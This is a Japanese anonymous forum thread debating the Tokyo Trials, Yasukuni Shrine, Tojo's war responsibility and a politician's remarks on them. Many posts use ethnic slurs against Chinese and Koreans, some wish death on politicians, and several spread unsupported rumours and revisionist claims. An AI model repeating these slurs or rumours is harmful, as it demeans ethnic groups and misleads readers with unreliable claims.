こうなったのは誰の責任だ。

>>401
ま、一般国民レベルでは１００人に４、５人知ってるか知ってないかだろうけどなｗ＜連合国云々

ID:tSc/PlKr0
この板ってこういう人ばっかだと思ってたけど、案外そうでもないんだね

>>420
まあ合計30万人って説から
全てがでっち上げ説（ネットウヨはこれがメイン？）まであるからなあｗ

>>424
他人を批判する時には理由くらい書こうね。
具体的な反論ができないなら黙ってROMってよう。

aaa

>>425
実際に現地調査がろくに出来ないから、机上の空論では幾らでも可能性があるからねぇ。

中国にｷﾝﾀﾏ握られてる政治家は苦労が多いんだよ！
分かるか！この野郎！

>>426
＞この問題に限らず、すべての元凶は朝日とそれに同調する反日マスゴミ

反論の余地が無いくらい立派な意見ですよね

>>409
国際法の何に違反？

（・∀・）遂に発狂したT豚S工作員＆ピックル＋ブサヨ軍団が死に物狂いで大暴れしてますwww
↓


OFF板のT豚S剥奪スレ
http://off3.2ch.net/test/read.cgi/offmatrix/1155274619/l50

>>411
それをどう評価するかはそれぞれの国が決めれば良いから
1人殺して死刑になる国があっても良いし、5年で出てこれる国があっても良い｡その1人殺したという事実を共通で認識することが大事
>>419
裁けとは言ってない。

ところで誰が全否定しているの？

>>433
人物や歴史上の出来事に対する評価なんて、国で決める必要さえない。
個々人が自由に評価すればいいだけ。

>>431
ハーグ陸戦協定、だっけか。
戦争の開始を最後通牒の形式で行わなければならない規定があったと思う｡

その違反が「戦争責任」や「戦争犯罪」とどのようにどの程度結びつくのか不明だが｡

>>431
『開戦に関する条約』
第一条　

締約国は理由を附したる開戦の宣言の形式
又は条件附き開戦宣言を含む最後通牒の形式を有する
明瞭かつ事前の通告無くして
その相互間に戦争を開始すべからざることを承認す。

東京裁判のなかでパールハーバー奇襲に関して宣戦布告以前の攻撃でも
戦争寸前まで関係が悪化していて両者とも認識していたので、奇襲に関して
は罪は無い、と米国が語っていた。

>>435
書き方が悪かったかもしれんが・・・
評価なんてそれぞれの価値観や利権が絡むから統一なんて不可能だ。
だからせめて事実を事実として各国が共有しようってこと

被害者の同意があろうとも
たいていの場合は違法性って阻却されないけどな

国際法など有って無いようなものです。世界の定説です。

>>441
やっぱ国際法よりフリーメイうわ何をｗせｄｒｆｔｇ

>>439
いくら調査しても多くのことは既に検証不能。
「証拠がない＝事実がなかった」というわけではないので、
統一見解など出せないよ。やるだけ無駄だと思う。

大東亜戦争の中心は日米戦争

日米が和解し、アメリカも東京裁判の違法性を主張

こんな時代にチャンコロ・チョンと一緒になって反日かよ

谷垣は日米同盟の自民党を辞めろよ

東京裁判を否定して何をしようとしているの?
東条のDNAからクローン復活させる計画?

東条は愛国者
東条は平和主義者だよ

GHQの反日宣伝をまだ信じてんのかね？w

>>444
支那派遣軍１００万人を忘れないであげてください

>>1
ふぅん。それで？

>>439
認定すべき事実をピックアップする作業自体が既に価値判断を含んでいるから、
価値観や利権が絡まない事実認定ってのも無理だと思うよ｡
「イタリアと山東省とギルバート諸島における死傷者のうち破片が腹部に命中した者と
地雷によって即死した者と急降下爆撃の不発弾による軽傷者との合計は何人か」とかより、
「ナチスにより民族絶滅を目的として殺されたユダヤ人は何人か」の方が重要だと思うから
調査するわけで｡
調査目的はもちろん「ナチスがどれほど非人道的であったか」なわけで。

>>447
チャンコロには日本は大勝利

そもそも谷垣って推薦人は確保できてるの？

>>446
＞東条は平和主義者だよ
阿呆か？捕虜になる位なら死ねと自国民に強要したキチガイ指導者だぞ？
彼は日本人どうこうではなく、人間の生存権すらも否定した人類共通の敵である。

構造主義ですね　
政体も民族も歴史もろくに違う国同士の
歴史問題の和解は難しいところですね

谷垣は民主党に行けよw
↓
【ポスト小泉】消費税増税は？麻生氏「3%から5%に上げて税収が減ったときの二の舞をするべきではない」谷垣氏「最低10％必要」
http://news19.2ch.net/test/read.cgi/newsplus/1156092147/

>>451
加藤とか山崎とかの特ア系議員が支持するんだろw

>>452
俺も、支那兵に捕まるなら死んだ方がいいとアドバイスをすると思う。

そもそも韓国政府や中国共産党が日本に対して「平和に対する罪」を持ち出して
Ａ級戦犯をとやかく言う事自体がナンセンスだと思うのだがどうだろう？
韓国は敗戦国。共産党は戦争を煽った張本人で、日中戦争からサ講和条約においては部外者。
もう知らん顔するのが一番良いと思う。

>>450
１００万人貼り付けることが無ければ
赤軍並みの人海戦術が出来たかもしれない

楽勝ならさっさと重慶と延安を占領してくれと海軍は思ってましたな

どんな理由で戦争したにしろ、負けたんだから、責任取ってもらわなきゃ
会社潰した経営者と同じ
社員路頭に迷わせたんだから
経営判断ミスで６０万人以上の人間が無駄死にした責任…
勝ってりゃ別ですよ

>>452
東条はまとも
キチガイはID:ALECxSmN0なw

>>457
今、国内でA級戦犯をどうこう言う人たちは
単独講和じゃなく全面講和してくれって
当時騒いでた人たちの生き残りと末裔だよ

谷垣さんの家も燃えちゃうのかな？

谷垣総理は実現しないことがわかってるから
好き放題言いたい放題だなこのおっさん

>>459
だから責任を取って死刑になったじゃん。
会社を倒産させた経営者は慰霊しちゃいかんのかね？

日本首相の靖国参拝が東京裁判の全否定に繋がるとは
どういう脳の構造をしているんだｗ

売国奴は死ねばいいと思うよｗ

>>460
生きて虜囚の辱めを受けず
死して罪禍の汚名を残す事なかれ

>>463
チャンコロ・チョンからの見返りがたっぷりなんだろうな
肉桂みたいにw

今更東京裁判の総括なんてどうでもイイっつうの。　煽られて踊りやがって。
バカじゃねえの？こいつら

>>1
こういう発言よく見るけど
どうして「政治的に決められた結果」を
同じように「政治的理由」で変更することを要求したらいけないの？

この理屈だと「不平等条約をわれわれは受け入れた」と言って
未来永劫、改正要求ができないことになるよ？

>>466
そんなのは日本では昔から言い習わされてきたことだな。
価値観の問題に過ぎない。
現在の価値観が正しいわけではないし。

誰も全否定なんかしていないのに何で相手が極論を言っているかのように振舞うのか

谷垣は死んでおしまい。

>>464
会社からリストラされた人たちからすれば

その社長が
民事訴訟で賠償金払って、さらに公正取引法なりなんなりで有罪判決くらったとして
それでも
会社の金でのうのうと老後を送って欲しくないとか
社葬して欲しくないとか、そういう気持ちでしょうな

>>464
血縁者ならいいんじゃない?
路頭に迷わせられた他人の側はその気、起きないんじゃない?
普通の感情では?

全くﾌﾞｻﾖもびっくりの戦法だな

相手が言ってもいない事を批難してるなんて。

どこに全否定した政治家がいるんだよｗｗｗ

日本一の嫌われ者　　谷垣

チョンが大好きなのかな？w

我々は小泉が首相になることを受け入れた
谷垣氏の発言には小泉首相を否定する部分がある。きにくわないなら辞めれ

>>470
いやいや、自分の価値観を押し付けて
戦術的に誤った形で兵力をすり潰してしまったわけですよ
これは現在でも当時でも間違いでしょう

敗戦国なんだから受け入れるしかない。そして、今更東京裁判を否定するのも
しょうがない。敗戦国とは理不尽な裁判であっても対抗する術はないんだし。
戦争に負けたのが悪い。ただし、戦犯という認識は国内においてはすでにない。
まだ戦犯だのA級だのいう人は戦勝国視点でしかない。

谷垣に理屈にケチつけてる連中は
戦前の当時、日韓併合条約を受託する以外に道はなかった、止むを得なかったのだがあれは不当だと
今になってケチつけてる朝鮮人と一緒

大将なんだから！( ﾟ∀ﾟ)ｱﾊﾊ八八ﾉヽﾉヽﾉヽﾉ ＼ / ＼/ ＼

弁護士のくせして遡及法肯定かよ。日本は東京裁判を受け入れたんじゃなくて、
判決を受け入れたんだよ。売国奴めが。

＞世論調査で次期総理は谷垣


こう答えるのは
共産・社民・民主左派だけ
創価党もかな？w

>>473
社員の多くは社長の方針に賛成していたし、
社長は死刑になってるし。
社長の慰霊に文句を言う元社員なんて、
日本では聞いたことがない。

>>1
東京裁判の全否定が問題なのではなく、
靖国の全否定が問題なのだが。

かっつの人気に嫉妬

しかしね。靖国が問題になってるけど、
硫黄島で未だ遺骨の回収がされていない　1万3000人をどうするんでしょうかね。

これが、今の実態です。

まだわかんないけど、靖国が問題視できなくなった次の次元への布石でしょ？
何年かしたら東京裁判史感が争点化するよｗ

中国からすれば、天皇が戦犯になってもいいし、米への離反感情が沸いても美味しいわけで。
間違いなく蜂蜜漬けだろうなｗ

戦犯とされた人々の合祀は受け入れるが、東条たちの政策の擁護をするのは気違いだろ。

谷垣がどれだけ票を集めようが、谷垣を推す議員は何のポストにもありつけないだろう。
全否定か全肯定しかない谷垣だけに。

自民党が世論を反映する政党であれば、谷垣が総裁になるのは難しいだろう。
どうすれば、谷垣が自民党総裁になれるのかね？
別に、なってくれなくてかまわないのだが。

>>478
＞自分の価値観を押し付けて
戦陣訓なんて当時の日本からすれば違和感はないよ。
日本では極自然な価値観だと思うよ。

＞これは現在でも当時でも間違いでしょう
当時では間違いではない。
徳川家康を大阪の役のだまし討ちで戦犯認定するような愚挙。

>>436
>>437
さんくすこ〜

>>438
http://www.geocities.jp/since7903/zibiki/ha.htm
＞ハルはこの直後、陸軍長官スティムソン、海軍長官ノックスとの会合で、
＞「私は手を洗った。あとは海軍と陸軍の問題だ」
＞と述べて、このノートによって日米戦争は間違いなく起ると考えていた。
＞また、日本国内でもついに東郷茂徳外相は戦争回避を諦めざるを得ず、軍部は
＞掣肘なく日米戦争への準備を遂行できることから「目出度目出度」と軍務課員は
＞日誌に記している。要するに、日米当局者は全員ハル・ノートを以て事実上の
＞最後通牒と見たのである。
ソースがアレだが( ･∀･)つ〃∩ ﾍｪｰﾍｪｰﾍｪｰ

http://toron.pepper.jp/jp/epi/pearl.html
＞当時の主要国の
＞著名な国際法学者の著書では、
＞おしなべて、開戦は、事前の宣戦布告か、
＞開戦の意志を伴った事実上の武力行使によって行われると書いてありました。
＞
＞わが国の当時の主要な国際法の教科書も同様です。

( ･∀･)つ〃∩ ﾍｪｰﾍｪｰﾍｪｰ

２ｃｈはもう洗脳施設となってしまった
２ｃｈ以外のコミュニティを破壊し２ｃｈに人が集まるようにすることで洗脳から逃げられなくする。
２ｃｈの支配層がアメリカか中国かは分からないが日本人の可能性が低いことは確かだ。

谷垣は消費税に関する論争をさせる道具にすぎん

>>480
「不当だからさかのぼって条約自体無効だ」とか政府レベルで
言ってしまっている朝鮮人は言語道断｡

裁判や条約を否定はしないが死者の取り扱いをどうするかは
定められていないので自由にやるっていう日本人は正当｡

日本にはいまだに東京裁判受け入れられないバカがいるのかw

>>480
チョンてお笑いだよな
戦争中は日本の一部
日本人としてアメリカとかと戦争したのに
ケロっと忘れて戦勝国の気分らしい
チョンを戦勝国と扱ってる国はゼロ
旧敵国からは日本人は全員敵
日本人の癖に今ごろになって日本を否定して戦勝国気分
これじゃチョンだよ、まったくw

>>489
＞東条たちの政策の擁護をするのは気違いだろ。
いや、俺はそうは思わない。
もし、自分が同じ立場にいたら別のよりよい打開策を打ててかと思うと、
自分もやっぱり東條らと同じ判断をし、東條の判断を支持したかもしれないと
思うわけよ。
「自分も同じことをしたかもしれない」と思うことをやった人間を
それほど鬼畜扱いする気にはならないというだけ。

もともと谷垣は総理になんかなるつもりがないだろ。

あえて反論してみせて、反対意見を封じ込めるための
パフォーマンスじゃないか。

>>492
いやぁ価値観は別に良いんですよ

その価値観に沿って将兵を自殺させ
機関銃陣地に夜間突撃させ、こっちの被害は2000人
米軍の負傷者７名。
これはまずいでしょ。陸軍大臣・内閣総理大臣が
戦争に勝とうとしないんだから

>>488
日本人は死者に鞭打つことを好みません。
過去を受け入れ、そこから出発できます。
ただ中狂や朝鮮みたいに日本が受け入れた以上の要求を未来永劫する輩とは
付き合いきれないだけです。
つまり過去が原因による、反米感情なんか在り得ませんな。
もう少し日本を勉強したほうがいいよｗ

日本兵は６割が餓死

戦犯の戦争責任は重いよ

死刑が相当

＞戦犯

敵国に都合の悪い人物な
日本人にとっては特に都合は悪くない
もっと悪い奴は別に大勢いるw

「万歳突撃」「特攻隊」がまともな国の政策と言えるのかね。
だから、９．１１の事件のとき、世界の新聞は「KAMIKAZE ATACK」と
書きたてた。

>>498

＞日本人の癖に今ごろになって日本を否定して戦勝国気分

良く云った。俺が云いたかった事だ。

つ−かさ、日本国民にとっての東条達の罪というのは、
アメリカと無視な開戦を行ったという事だけなんだよな。

戦争なんてお互い様なんだし、一方的に責められる謂れはないよ。
ましてや当時の中国なんて無法地帯なんだし。

敗戦の責任はある
それだけだ

>>501
いや、戦国時代ならそう珍しいことではない。
戦前の日本軍は所詮江戸時代の武士道の延長線。
「死を恐れていないこと」を敵に見せることで、
以後の戦局を有利に運ぶなんてことは戦の定石。

現実に無茶苦茶に思える硫黄島や沖縄戦だって、
あの滅茶苦茶さが本土上陸作戦の見直しと、
戦後の占領統治の穏健さや、天皇家の存続に
つながったのだから、一概に無茶苦茶とも言えないわけで。

>>502
だよな

戦犯合祀肯定派
谷垣死んじゃえ派
これが実は最大の親米派

悔しくて悔しくて・・・
こっちはチャンコロ・チョンに谷垣とかのブサヨ連中w

>>499
アメリカに勝てないのは当時の政治家も分かっていた。
早期講和は開戦時から戦争の大前提と考えられていた。

状況判断を誤った東条は早期講和論を全否定し、特高警察を
利用して早期講和論者に強い圧力をかけた。
ゆえに日本側の講和準備は完全に遅れた。
東条がいる限り日本は潰れるとまで言われ暗殺計画さえ実在した。

オマイも「同じことをしたかもしれない」のなら、それは東条なみの
馬鹿だからか？

＞もっと悪い奴は別に大勢いるw

６割が餓死 する戦争した国はどこにあんだよw

「わたしはばかです」っていうカミングアウトか？

>現実に無茶苦茶に思える硫黄島や沖縄戦だって、
>あの滅茶苦茶さが本土上陸作戦の見直しと、

アメリカは、これを反省に被害の少ない原爆投下することになった。

>>508
戦勝国の戦犯と一致かよ
論理的に考えろ
出来ないのかな？w

はい。　谷垣消えたー。

>>505
＞「万歳突撃」「特攻隊」がまともな国の政策と言えるのかね。
そういうのもアリだと思うよ。
もし日本が無法地帯で、家族を自分たちが武装して守らなければならない
自体になったとしたら、別に上から命令されなくたって、家族を守るためなら
自分でも普通に思いつく作戦だもの。

家を燃やされたからかどうか知らんが、加藤紘一もＴＢＳ並に必死だな。
よっぽど阿倍が総理になると困るようだ。中国様から指令が来てるのかな。

>>1

(　´,_ゝ`)プッ


支那人女、そんなに良かったの？

>>512
悪いのは誰かを聞いている
戦勝国にとっての戦犯が
日本にとっての敗戦責任（仮に肯定の場合だがw）と同じか聞いている

>>509
戦国時代はそりゃ気合と気概でどうにかなるでしょ
現代の軍隊はそんな簡単なものじゃないし
キルレートや彼我戦力差を冷静に分析すれば
いくらでもマシに戦うやりかたはあった

しかも硫黄島は無駄な死に方をせず
地下に篭って持久戦というまともな戦略を立てたわけで。
東條の起案した戦陣訓とはまるで違うんじゃ？

>>505
国権の発動たる戦争行為と私兵組織による国際テロ犯罪とを
混同するという無知あるいは意図的な印象操作を新聞がやってしまったってことですかね。

「万歳突撃」「特攻隊」は人道上の問題を含んだ恐るべき戦術ではあるが
無差別テロのような明白な犯罪とは全く異なる。

>>511
＞オマイも「同じことをしたかもしれない」のなら、それは東条なみの
＞馬鹿だからか？
東條並なら誉め言葉として受け取っておくよ。

＞ゆえに日本側の講和準備は完全に遅れた。
準備すれば講話はできたのか？

>>511
東条を無理に起用した近衛が悪いだろ。
軍のトップを兼任させる形で総理大臣にしたんだからな。
（これだけで違憲）

そりゃあ東条だって戦時内閣で抜擢されたと勘違いするわな。

てか、このスレにいる中国朝鮮工作員うぜえよ。
お前らがどうでもいい事を必死に大きく見せるから変に問題がこじれるんだろ
今の日本が軍国主義になって他国を侵略とかねーよ。
むしろお前らのほうが怖いわ。
覇権主義で戦争始めるんだろ?虐殺するんだろ?日本領土を侵害するんだろ?
正義心から言ってるなら一度自らを省みろよ特亜の猿が

>>518
加藤紘一の実家を燃やした右翼は、在日だって外出？
所属団体が、朝鮮総連新宿支部の住所と同じ。

まだそのネタ使ってんのか

>>515
つまらん茶々入れるな馬鹿
東京裁判なんざどうでもいい
国内で精査し明確にすればいいだけだ
ただそれだけ

東京裁判を受け入れて、
お務めが完了してもはや犯罪人ではないってことでしょ

ブサヨの最大の論理的弱点



　　　＞　戦犯＝日本人にとっての敗戦責任



一致するかどうかの検証をしてからにしろよw

公明党よ早く離党してくれ。いかれた創価宗教団体の助けがいるなら死んだ方がましや。

谷垣が言ってることのどこが間違ってるのかわからん
実際東京裁判を受け入れたんだもん　あとになってあーだこーだ言ってるのは恥ずかしい

>>521
＞東條の起案した戦陣訓とはまるで違うんじゃ？
戦陣訓のどこに持久戦の否定が書いてある？
硫黄島だって結局玉砕だろ？
戦陣訓通りの結果だよ。

＞キルレートや彼我戦力差を冷静に分析すれば
＞いくらでもマシに戦うやりかたはあった
結果論なら何でもいえる。

♪このごろ流行の　財務相
東大卒の　財務相
こっちを向いてよ　ハニー
だってなんだか　だってだってなんだもん

おねがい　おねがい　支那行かないで
ホテルに公安が　突入しちゃうの

いやよ　いやよ　いやよ　国売っちゃいや
ハニーフラッシュ！

>>526
> 加藤紘一の実家を燃やした右翼は、在日だって外出？
> 所属団体が、朝鮮総連新宿支部の住所と同じ


ホントかよw
初めて知ったな
うちゲバ？

>>502
ん？微妙にニュアンスが伝わってなかったかな？

マスコミが騒ぎ立てて国論を二分する争点にするよって言いたかったんだけど。
米との離反って部分に反応した？その可能性が無いなら実にいいことだ。

東京裁判を今のバランスから崩すってのは、靖国以上にめんどくさいぜ？

>>534
最後は「ハニートラップ」だな。

谷垣もTBSの日曜日の朝早くにやってる岩見の番組にでたいんだろう。
あの番組、見てる奴なんているのか？

>>517
じゃあ、こういう奴はどうなんだ？

＞対米戦争の成算を問われた杉山（元帥）は楽観的な回答をする。
＞これに対して天皇は「汝は支那事変勃発当時の陸相であるが、
＞あのとき事変は3ヶ月で終わると申したのに今になっても終わっていない
＞ではないか」と問いつめた。
＞答えに窮した杉山が「支那は奥地が広うございますので」と言い訳すると、
＞陛下は「太平洋は支那より広いぞ」と一喝した。
＞なお、終戦直前に元帥として天皇に意見を求められた杉山は、「国軍は尚
＞余力を有し志気も旺盛なれば、なおも抗戦してアメリカ軍を断乎撃攘すべき」
＞と奏上したという。

日米開戦を3ヶ月で終わると陛下に奏上し、原爆投下後も本土決戦を主張した
当時の指導者をそれでも擁護できるのか？

>>521
＞しかも硫黄島は無駄な死に方をせず
＞地下に篭って持久戦というまともな戦略を立てたわけで。
＞東條の起案した戦陣訓とはまるで違うんじゃ？

参謀本部が2万の将兵を硫黄島に配置し、物資の支援をやめ切り捨てた。
硫黄島の栗林陸軍中将が「自決」「万歳突撃」を禁止し、徹底抗戦を命令した。
アメリカから一番尊敬されている日本の将軍。

これが映画化され12月に公開される。「硫黄島からの手紙」
http://wwws.warnerbros.co.jp/iwojima-movies/

>>530
アホw

だれも一致するなんて言ってねえだろがw

あと否定すんなら戦争責任者はだれか言えよw

>>526
同じではないが目と鼻の先なのは確か。
あと政治活動は殆どしておらずペーパー団体の暴力団。
まぁ場所が場所なだけに中の人もあっち系なんだろうけど。

どうでもいいが、靖国問題に外国を巻き込む政治家。煽るマスゴミ。
こいつらが一番の犯罪者だと思うのは俺だけか？

>>539
満州への拡大なしに、日本はどういう活路をもって
「持てる国」のブロック経済圏と対峙し、自尊を維持しえたのかな？

>>526
加藤は飼い犬の北ﾁｮﾝに手を噛まれちゃったんだ

>532
サンフランシスコ講和条約第11条に基ずいて名誉を回復したんですよ o(^-^)o

>>529
そうかも知れないが
業務上過失致死で大量の死者を出して死刑に成った人
日本国はお陰で営業停止食らった

受け入れたってことは それ以後何人の干渉もうけないってことだろ？
受け入れるってのはもう終わったって事だ

じゃあ肯定するってことですか？谷垣さん
アメリカ人は平和に対する罪で1人も裁かれてないのに？

>>533
＞ あの滅茶苦茶さが本土上陸作戦の見直しと、
＞戦後の占領統治の穏健さや、天皇家の存続に
＞つながったのだから、一概に無茶苦茶とも言えないわけで。

＞硫黄島だって結局玉砕だろ？

こういうのを結果論って言うんですよ。

持久戦は否定しません
しかし彼の思想は捕虜になってからも戦えるってことを忘れ
火力で圧倒的に上回ってる敵の正面へ
損害を省みずに突撃することへと繋がった
ここは否定できないでしょ？


>>540
ども

>>547
死刑になったんだから既に刑に服し終えている。
もはや犯罪者ではない。
ましてや例え犯罪者だとしても慰霊までを制限する必要は認め得ない。

ハニ垣は財相にまで昇り詰めたが、ここまでか。一応総裁候補までは行ったんだから
よくやったよ。あとは中国女と幸せにな。

>>547
民事がまだって感じだが、もはや免責だな……
今さらいっても遅い。

>>541
言ってやろうか。

日本人は支那共産党のような階級史観は採らない。

よって日本人にとっての敗戦責任者はいない。

分かったかw

>>550
＞こういうのを結果論って言うんですよ。
結果論じゃないだろ？
もともと本土決戦は、そういう結果を導くための作戦だったんだから。
目論見的中というべきだな。

>>537　それが書きたくて替え歌作ったのに、肝心な部分を変え損ねた件orz

>>554
帝国陸海軍には階級は無く
戦争は誰が始めたかすらも分からないと？

>>557
戦争を始めたのはシナだろ。

大東亜戦争はな、、、



明治以降のアメリカの人種差別政策の中で必然だったんだよ。

日本人が懸命に戦ったからアメリカもやっと兵力不足で差別主義を修正。

日米戦争で初めて黒人も兵役に、軍隊に入れるようになった。

その延長がパウエルやライス。

日本が戦争をしなかったら今でもアメリカの黒人の参政権はなし。

アジアは欧米の植民地。

戦犯の戦争指導者としての罪は重いよ死刑が相当

何十万もの兵士を無駄死にさせ日本の領土を減らし国益を損ねた罪

>>550
＞損害を省みずに突撃することへと繋がった
＞ここは否定できないでしょ？
人命に対する価値観が当時と現在では違ったんだろう。
どっちの価値観が正しいとか間違っているとかそういう問題じゃない。

>>558
どの戦争のことをいってるのか？

加藤は終わった政治屋。いつまでも女見たくネチネチ主流派に絡んでんじゃねえよ。
所詮は主流にも溶け込めん支流のくせに。そのうち野党あたりの主流でもなった方が
お似合いだわ。

>>544
満州への拡大政策どうののレベルじゃないだろｗ
現在の状況さえ理解できてないでイケイケドンドンばかりの指導者を
なんで擁護できるのかと聞いている。
天皇陛下に嘘までついて、叱責されてるような馬鹿が指導者だったんだ。

靖国に祀られようが、東京裁判を否定しようが、それはいい。
だが、当時の指導者の判断力の無さは、まさに亡国への案内人だ。
その評価まで擁護できない。

敗戦の責任は東条ですよo(^-^)o
遺書にありますから。

東条はA級戦犯としてではなく、敗戦の責任を取って死刑を受け入れました。

>>557
階級史観をとらない＝階級がない
ですかそうですか。

やっぱネットウヨクはあの戦争を受け入れられないんだね。

裁判を受け入れない人へ
過去の亡霊を呼び起こすな…
今度は自爆テロでも指令するつもりか?

>>555
日本国は負けても、占領統治をぬるくやって頂いて
天皇制が形だけ残れば300万死のうと知ったことかって
本土決戦しようとしたんですか

帝国の戦争計画は
南方の資源地帯を押さえて長期持久の体制を整え
そのうちにドイツが何とかしてくれるって話だと思ったけど
途中から随分形が変わりましたね

>>561
価値観が正しいかは問題じゃなく
「価値観を持った奴が軍の指揮にそれを持ち込み
勝たなきゃいけない戦争を散々な形にした」
ってことを批判してるんです

>>565
自分が認めたってな、、、

ジョンベネ殺害もまだ確定してないぞw

>>566
階級史観を取らない＝戦争責任者がいないって発言を
勝手に解釈したけど、違ってますか？
訂正お願いします

東条ら数人が首吊ったくらいで相手は納得しないだろ。
何千万人死んだと思ってるんだ・・

大本営発表で国民を偽りの情報を伝え、戦争を遂行しようとした。
これが、自分たちの身の保身以外何がある。

>>559
それ以前のヨーロッパ戦線や、アラスカ整備で既に黒人導入が進んでいるので、
日本は原因を加速させたとしても、日本のおかげとはかなーり言い難いと思うけど。

>>567
ネットウヨクかどうかは知らんが、、、

俺は大東亜戦争は正義の戦争って考えてるよ。
日本が戦ったからこそ旧価値観が否定され
２０世紀後半の新しい道徳が生まれた訳だから。

>>564
天皇に叱責されたこととバカであることは関連はないと思うが、
じっとしていた所で列強との衝突は避けられないのであれば、
中途半端が一番よくない。
立つと決めたら徹底的な行動を起こすのが定石だな。

判決を受け入れるのは良いが、靖国問題に外国を巻き込むのは止めれ。
それが現在ただ今の最大の「日本人に対する罪」であり、「日本国の恥」である。

人種問題と摩り替えて議論する人達がいるけど
戦前の日本人は「名誉白人」と呼ばれ被差別対象外だったよね。
戦争を始めたばかりに「イエローモンキー」とか呼ばれ差別される側になってしまったけどね。

>>572
その結果
インドやインドネシアやベトナムのようなアジア諸国は独立したんだよw

>>1
裁判を全部否定したら有罪とされた人とかが連合国に対して賠償請求できるんじゃね？
全否定してる人っているのかなあ

>>575
まぁ、君みたいな人は大勢居るからね。
だからこそ靖国が自民党の集票マシーンに成り下がる。

相変わらずバカがいるね！o(^-^)o

サンフランシスコ講和条約は、東京裁判の判決の受け入れと、その判決の意義申し入れがあるの。

つまり、判決を日本で勝手に無視しるなと。
不服があるなら戦勝国に言ってこいと。

だから、東京裁判の判決を受け入れた後に、段取りを踏んで、罷免にしたの。

>>579
>インドやインドネシアやベトナムのようなアジア諸国は独立したんだよw
日本が敗戦してなかったら、日本の植民地やわな。
敗戦したから、独立できたんだよ。

>>570
どうして、ジョンべネの事件の話が出てくるんだ?
これがブサヨ脳ってやつかねw

>>569
＞日本国は負けても、占領統治をぬるくやって頂いて
＞天皇制が形だけ残れば300万死のうと
＞本土決戦しようとしたんですか

ほとんど合っているが「知ったことか」ではなく「やむなし」というのが正しいかな。
それは、別に軍に命令されたからだけではなく、国民個々の意思から出た
気概だったしね。

>>575
まあ、戦争はたいがい正義の元で行われる。
だから日本人として大東亜戦争を正義とするのもいいと思う。

だが、それを遂行した奴らが判断力のない連中だったことが、
莫大な日本人を死なせてしまったことも忘れてはいけない。

田舎の誰も通らない道に５分間ずっと赤な信号があったとして、
そんな状態は信号としての役割すら無視しているわけだが
とりあえず渡っちゃいかんのである。それはルールだからである。

東京裁判が国際法違反であろうと、戦争の責任者を代案としてでもあげられるだろうか？
それすら不可能だ。新たに戦争責任者を決定できるわけが無い。
戦争責任者が必要というところまで同意しておいて
「でも東京裁判のは認められないよ」というのは順番が違う。
そもそも満州事変だろうが一般人虐殺だろうが
大日本帝国自体が最初っから国際法を無視しているのである。
それを「それしか選択肢が無かったのだ」とか
「当時列強は植民地つくるのが当たり前」と
この部分を正当化しつつ東京裁判だけ認めないのはいくらなんでも暴論だ。

私の意見としてはとりあえず靖国神社の売店と博物館を潰せと。
あの二つはやばい。日本人から見てもひどい。
それさえやれば諸外国にとりあえず神道は〜とかそーゆー議論で煙にまけるが
アレがあったら説得も何もあったもんじゃない。と思う

>>578
白人でもユダヤ人は差別されていた
アメリカ人でも黒人は差別されていた
大日本帝国は終始一貫人種差別に反対
ユダヤ人やアメリカの黒人とは協調関係にあったんだよ

>>583
フィリピンは日本敗戦後も事実上はアメリカの植民地だったな。
他の国も日本が戦っていなければ欧米の植民地のままだったし。

>>576
お前が最初に特攻してくれ

>>583
朝日の捏造歴史にバカされてるのか、単に無知なのかどっちだ？ｗ
独立国というにはいささか自治区に近い存在ではあっても、終戦後現地指導者による
現地統治を認めることになっていたぞ。

>>588
悲しいかな　現在でも当時でも
中国人朝鮮人は差別されてたわけですがね

彼らは人間でもないかｗ

遊就館あっての靖国神社だよ

遊就館あっての靖国神社だよ

遊就館あっての靖国神社だよ

遊就館あっての靖国神社だよ

遊就館あっての靖国神社だよ

遊就館あっての靖国神社だよ

遊就館あっての靖国神社だよ

遊就館あっての靖国神社だよ

遊就館あっての靖国神社だよ

旧日本兵の生き残りが負け犬のとう吠え吐いてるスレはここでつか〜

靖国はいつから、コスプレ天国になったんだ。
はっきり言って、あれも止めて下さい。

>>591
現地指導者の背後に軍人が付いてて
結局は満州みたいな傀儡国ってオチは無かったんかね？
詳しく知らないんだけど

>587
戦争責任なんてない！o(^-^)o

交戦権は国家の専任事項！
それを裁くなど出来ません！

この発言を受けとめられ方によって世論を読む気かもね。「東京裁判否定派＝全否定派」というレッテル
貼りが成功するぐらい世間一般に肯定派がまだ多いのか否か、を打診するための。

何々してやった。発展させてやった、独立させてやった。
ずいぶんと都合のいい恩着せがましい歴史観やな。
敗戦を受け入れられないネトウヨｗ

>>576
ああ、シナ事変を３ヶ月、日米開戦を数ヶ月で終わると言ったのが
馬鹿じゃなければ何なんだい？
同じ時期に近衛は「アメリカには勝てない」って奏上してるのに。

そんなんが開戦したから日本軍がああいう風に負けたんだろうが。
戦争っていうのは冷静な状況判断があってやるもんだ。

＞名誉白人


これは唯一の有色人種の大国日本を黙らせるために欧米が採った政策

大日本帝国はこんなのに騙されずに一貫して人種差別に反対していたんだよ

21世紀の今日でも

名誉白人に満足している日本人がいるとは嘆かわしい

それも左翼らしい･･･w

確かにコスプレ集団は空気読んで欲しい。

>>599
罵倒が始まったかｗ次は勝利宣言か？

戦争は利害対立を話し合いでは解決出来ず武力により決着つける方法。善も悪も正義も無い。勝った者が勝ち

>>569
＞天皇制が形だけ残れば300万死のうと知ったことかって

いや300万どころか
確か大西瀧次郎中将は本土決戦で
日本人が2000万死んだら流石のアメリカも諦めるとか言ってたそうなｗ

靖国コスプレ集団　
http://yasukuni.zashiki.com/20060815cosplay01_02.html

>>590
その時が来たらな。

>>599
ｳｰﾜ、アッタマ悪ーw

こういう正論を吐くインテリって庶民の人気は得られないのよね・・・

あそっちあたりは入閣もあるだろうが、こいつはもう完全に外れたな。
「大将なんだから」とか言っちゃうだけのことはあるｗ

>>605
人口の一割死ぬと相当国家としてやばいらしいね
ソ連は自称2000万の国民が死んだから
女ばっかの村とかもあったらしいｗ

日本はまぁ、そこまでやられずに良かった良かった
アメリカ様ありがとう

まあアメリカは連盟で人種平等宣言を否決してるし。

>>579
違うよ、日本の領土にしようとしただけw

リアルな世界で少し酷いなと思うのはよくいるんだが
小林よしのりの戦争論に影響されてステレオタイプな意見を堂々という厚顔な奴らである。

・東京裁判は国際法違反であり、戦勝国の勝手なおしつけで無効である。
・戦争自体、ABC包囲網など当時の状況として他の選択肢は無く非難されるべきでない。
・その後のアジア諸国独立の契機となったり功績がある。

とか。もろに戦争論の主張通りである。これが嫌いだ。

>>600
＞ああ、シナ事変を３ヶ月、日米開戦を数ヶ月で終わると言ったのが
＞馬鹿じゃなければ何なんだい？
